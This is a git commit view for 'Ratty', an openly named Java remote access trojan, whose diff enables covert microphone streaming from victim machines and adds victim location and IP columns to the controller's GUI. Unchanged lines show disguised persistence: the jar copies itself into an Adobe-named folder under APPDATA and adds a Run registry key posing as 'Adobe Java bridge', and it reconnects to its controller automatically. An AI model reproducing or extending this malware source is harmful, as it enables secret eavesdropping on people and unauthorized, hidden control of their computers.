Browse Source

Small changes

Bug fixes, cleanups
GUI shows the location of the clients
Enabled voice stream
master
Sogomn 9 years ago
parent
commit
62dbb90d93
  1. 1
      Ratty/res/language/lang.properties
  2. 1
      Ratty/res/language/lang_de.properties
  3. 1
      Ratty/res/language/lang_en.properties
  4. 10
      Ratty/src/de/sogomn/rat/GUISettings.java
  5. 13
      Ratty/src/de/sogomn/rat/Ratty.java
  6. 39
      Ratty/src/de/sogomn/rat/Trojan.java
  7. 14
      Ratty/src/de/sogomn/rat/packet/InformationPacket.java
  8. 16
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  9. 9
      Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
  10. 2
      Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java
  11. 6
      Ratty/src/de/sogomn/rat/util/FrameEncoder.java
  12. 24
      Ratty/src/de/sogomn/rat/util/VoiceRecorder.java

1
Ratty/res/language/lang.properties

@ -33,6 +33,7 @@ action.delete=Delete file
action.new_directory=Create new directory
column.name=Name
column.location=Location
column.address=IP Address
column.os=OS
column.version=Version

1
Ratty/res/language/lang_de.properties

@ -33,6 +33,7 @@ action.delete=Datei l
action.new_directory=Neuen Ordner erstellen
column.name=Name
column.location=Ort
column.address=IP-Adresse
column.os=OS
column.version=Version

1
Ratty/res/language/lang_en.properties

@ -33,6 +33,7 @@ action.delete=Delete file
action.new_directory=Create new directory
column.name=Name
column.location=Location
column.address=IP Address
column.os=OS
column.version=Version

10
Ratty/src/de/sogomn/rat/GUISettings.java

@ -21,11 +21,11 @@ import de.sogomn.engine.util.ImageUtils;
final class GUISettings {
private static final Color BACKGROUND = new Color(250, 250, 255);
private static final Color BASE = new Color(245, 205, 175);
private static final Color BRIGHTER = new Color(255, 220, 190);
private static final Color DARKER = new Color(225, 185, 155);
private static final Color ALTERNATIVE = new Color(245, 235, 215);
private static final Color SELECTION = new Color(105, 120, 155);
private static final Color BASE = new Color(235, 205, 185);
private static final Color BRIGHTER = new Color(245, 220, 200);
private static final Color DARKER = new Color(215, 185, 165);
private static final Color ALTERNATIVE = new Color(245, 235, 225);
private static final Color SELECTION = new Color(120, 120, 135);
private static final EmptyBorder TABLE_CELL_BORDER = new EmptyBorder(2, 5, 2, 5);

13
Ratty/src/de/sogomn/rat/Ratty.java

@ -1,9 +1,7 @@
package de.sogomn.rat;
import java.io.File;
import java.io.IOException;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.ResourceBundle;
import javax.swing.JDialog;
@ -27,7 +25,7 @@ import de.sogomn.rat.server.gui.RattyGuiController;
public final class Ratty {
public static final boolean DEBUG = true;
public static final String VERSION = "1.8";
public static final String VERSION = "1.9";
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
private static String address;
@ -35,6 +33,7 @@ public final class Ratty {
private static boolean client;
private static final int CONNECTION_INTERVAL = 2500;
private static final int MAX_PORT = 65535;
private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt";
private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + "Adobe" + File.separator + "AIR" + File.separator + "jre13v3bridge.jar";
private static final String STARTUP_REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\"";
@ -85,7 +84,7 @@ public final class Ratty {
FileUtils.createFile(STARTUP_FILE_PATH);
FileUtils.copyFile(source, destination);
Runtime.getRuntime().exec(STARTUP_REGISTRY_COMMAND);
} catch (final URISyntaxException | IOException ex) {
} catch (final Exception ex) {
ex.printStackTrace();
}
}
@ -94,12 +93,12 @@ public final class Ratty {
try {
final int port = Integer.parseInt(input);
if (port < 0 || port > 65535) { //65535 = Max port
if (port < 0 || port > MAX_PORT) {
return -1;
}
return port;
} catch (final NumberFormatException | NullPointerException ex) {
} catch (final Exception ex) {
return -1;
}
}
@ -111,7 +110,7 @@ public final class Ratty {
if (!newClient.isOpen()) {
try {
Thread.sleep(CONNECTION_INTERVAL);
} catch (final InterruptedException ex) {
} catch (final Exception ex) {
//...
} finally {
System.gc();

39
Ratty/src/de/sogomn/rat/Trojan.java

@ -6,43 +6,42 @@ import de.sogomn.rat.util.VoiceRecorder;
public final class Trojan implements IConnectionObserver {
private VoiceRecorder voiceRecorder;
private static final int VOICE_BUFFER_SIZE = 1024 << 6;
public Trojan() {
voiceRecorder = new VoiceRecorder(VOICE_BUFFER_SIZE);
voiceRecorder.start();
//...
}
private void handleVoicePacket(final VoicePacket packet) {
final byte[] data = voiceRecorder.getLastRecord();
private void handleVoiceRequest(final ActiveConnection connection) {
final VoiceRecorder voiceRecorder = new VoiceRecorder(VOICE_BUFFER_SIZE);
voiceRecorder.setObserver(recorder -> {
final byte[] data = recorder.getLastRecord();
final VoicePacket packet = new VoicePacket(data);
packet.setData(data);
recorder.stop();
connection.addPacket(packet);
});
voiceRecorder.start();
}
@Override
public void packetReceived(final ActiveConnection client, final IPacket packet) {
public void packetReceived(final ActiveConnection connection, final IPacket packet) {
final Class<? extends IPacket> clazz = packet.getClass();
if (clazz == VoicePacket.class) {
final VoicePacket voice = (VoicePacket)packet;
handleVoicePacket(voice);
handleVoiceRequest(connection);
} else {
packet.execute(connection);
}
packet.execute(client);
}
@Override
public void disconnected(final ActiveConnection client) {
final String address = client.getAddress();
final int port = client.getPort();
voiceRecorder.stop();
public void disconnected(final ActiveConnection connection) {
final String address = connection.getAddress();
final int port = connection.getPort();
client.setObserver(null);
connection.setObserver(null);
Ratty.connectToHost(address, port);
}

14
Ratty/src/de/sogomn/rat/packet/InformationPacket.java

@ -5,10 +5,11 @@ import de.sogomn.rat.Ratty;
public final class InformationPacket extends AbstractPingPongPacket {
private String name, os, version;
private String name, location, os, version;
public InformationPacket(final String name, final String os, final String version) {
public InformationPacket(final String name, final String location, final String os, final String version) {
this.name = name;
this.location = location;
this.os = os;
this.version = version;
@ -16,7 +17,7 @@ public final class InformationPacket extends AbstractPingPongPacket {
}
public InformationPacket() {
this("", "", "");
this("", "", "", "");
type = REQUEST;
}
@ -29,6 +30,7 @@ public final class InformationPacket extends AbstractPingPongPacket {
@Override
protected void sendData(final ActiveConnection connection) {
connection.writeUTF(name);
connection.writeUTF(location);
connection.writeUTF(os);
connection.writeUTF(version);
}
@ -41,6 +43,7 @@ public final class InformationPacket extends AbstractPingPongPacket {
@Override
protected void receiveData(final ActiveConnection connection) {
name = connection.readUTF();
location = connection.readUTF();
os = connection.readUTF();
version = connection.readUTF();
}
@ -49,6 +52,7 @@ public final class InformationPacket extends AbstractPingPongPacket {
protected void executeRequest(final ActiveConnection connection) {
type = DATA;
name = System.getProperty("user.name");
location = System.getProperty("user.country");
os = System.getProperty("os.name");
version = Ratty.VERSION;
@ -64,6 +68,10 @@ public final class InformationPacket extends AbstractPingPongPacket {
return name;
}
public String getLocation() {
return location;
}
public String getOs() {
return os;
}

16
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -10,7 +10,6 @@ import java.util.Set;
import javax.swing.JOptionPane;
import de.sogomn.engine.fx.ISoundListener;
import de.sogomn.engine.fx.Sound;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.builder.JarBuilder;
@ -352,21 +351,9 @@ public final class RattyGuiController extends AbstractRattyController implements
}
final Sound sound = packet.getSound();
final ISoundListener listener = new ISoundListener() {
@Override
public void looped(final Sound source) {
//...
}
@Override
public void stopped(final Sound source) {
final VoicePacket request = new VoicePacket();
client.connection.addPacket(request);
}
};
sound.addListener(listener);
sound.play();
}
@ -410,10 +397,11 @@ public final class RattyGuiController extends AbstractRattyController implements
private void logIn(final ServerClient client, final InformationPacket packet) {
final String name = packet.getName();
final String location = packet.getLocation();
final String os = packet.getOs();
final String version = packet.getVersion();
client.logIn(name, os, version);
client.logIn(name, location, os, version);
client.addListener(this);
gui.addRow(client);

9
Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

@ -6,7 +6,7 @@ final class ServerClient {
private boolean loggedIn;
private String name, os, version;
private String name, location, os, version;
private boolean streamingDesktop, streamingVoice;
public final ActiveConnection connection;
@ -20,8 +20,9 @@ final class ServerClient {
fileTree = new FileTree();
}
public void logIn(final String name, final String os, final String version) {
public void logIn(final String name, final String location, final String os, final String version) {
this.name = name;
this.location = location;
this.os = os;
this.version = version;
@ -55,6 +56,10 @@ final class ServerClient {
return name;
}
public String getLocation() {
return location;
}
public String getAddress() {
return connection.getAddress();
}

2
Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java

@ -14,6 +14,7 @@ final class ServerClientTableModel extends AbstractTableModel {
private ArrayList<Column> columns;
private static final Column NAME = new Column(LANGUAGE.getString("column.name"), String.class, ServerClient::getName);
private static final Column LOCATION = new Column(LANGUAGE.getString("column.location"), String.class, ServerClient::getLocation);
private static final Column IP_ADDRESS = new Column(LANGUAGE.getString("column.address"), String.class, ServerClient::getAddress);
private static final Column OS = new Column(LANGUAGE.getString("column.os"), String.class, ServerClient::getOs);
private static final Column VERSION = new Column(LANGUAGE.getString("column.version"), String.class, ServerClient::getVersion);
@ -25,6 +26,7 @@ final class ServerClientTableModel extends AbstractTableModel {
columns = new ArrayList<Column>();
addColumn(NAME);
addColumn(LOCATION);
addColumn(IP_ADDRESS);
addColumn(OS);
addColumn(VERSION);

6
Ratty/src/de/sogomn/rat/util/FrameEncoder.java

@ -20,11 +20,11 @@ public final class FrameEncoder {
private static final int SKIP = 5;
private static final int CELLS_WIDE = 6;
private static final int CELLS_HIGH = 6;
private static final int CELLS_WIDE = 5;
private static final int CELLS_HIGH = 5;
private static final IFrame[] EMPTY_ARRAY = new IFrame[0];
private static final float CAPTURE_SCALING = 0.5f;
private static final int CURSOR_SIZE = 16;
private static final int CURSOR_SIZE = 10;
private static final Stroke CURSOR_STROKE = new BasicStroke(3);
private FrameEncoder() {

24
Ratty/src/de/sogomn/rat/util/VoiceRecorder.java

@ -1,7 +1,8 @@
package de.sogomn.rat.util;
import java.util.function.Consumer;
import javax.sound.sampled.AudioSystem;
import javax.sound.sampled.LineUnavailableException;
import javax.sound.sampled.TargetDataLine;
public final class VoiceRecorder {
@ -12,6 +13,8 @@ public final class VoiceRecorder {
private byte[] data;
private Consumer<VoiceRecorder> observer;
public VoiceRecorder(final int bufferSize) {
data = new byte[bufferSize];
}
@ -24,6 +27,10 @@ public final class VoiceRecorder {
final Runnable runnable = () -> {
while (running) {
line.read(data, 0, data.length);
if (observer != null) {
observer.accept(this);
}
}
};
@ -35,9 +42,12 @@ public final class VoiceRecorder {
line.open();
line.start();
thread.start();
} catch (final LineUnavailableException ex) {
running = false;
} catch (final Exception ex) {
stop();
data = new byte[0];
ex.printStackTrace();
}
}
@ -48,14 +58,22 @@ public final class VoiceRecorder {
running = false;
try {
thread.interrupt();
line.stop();
line.close();
} catch (final Exception ex) {
ex.printStackTrace();
}
thread = null;
line = null;
}
public void setObserver(final Consumer<VoiceRecorder> observer) {
this.observer = observer;
}
public boolean isRunning() {
return running;
}

Loading…
Cancel
Save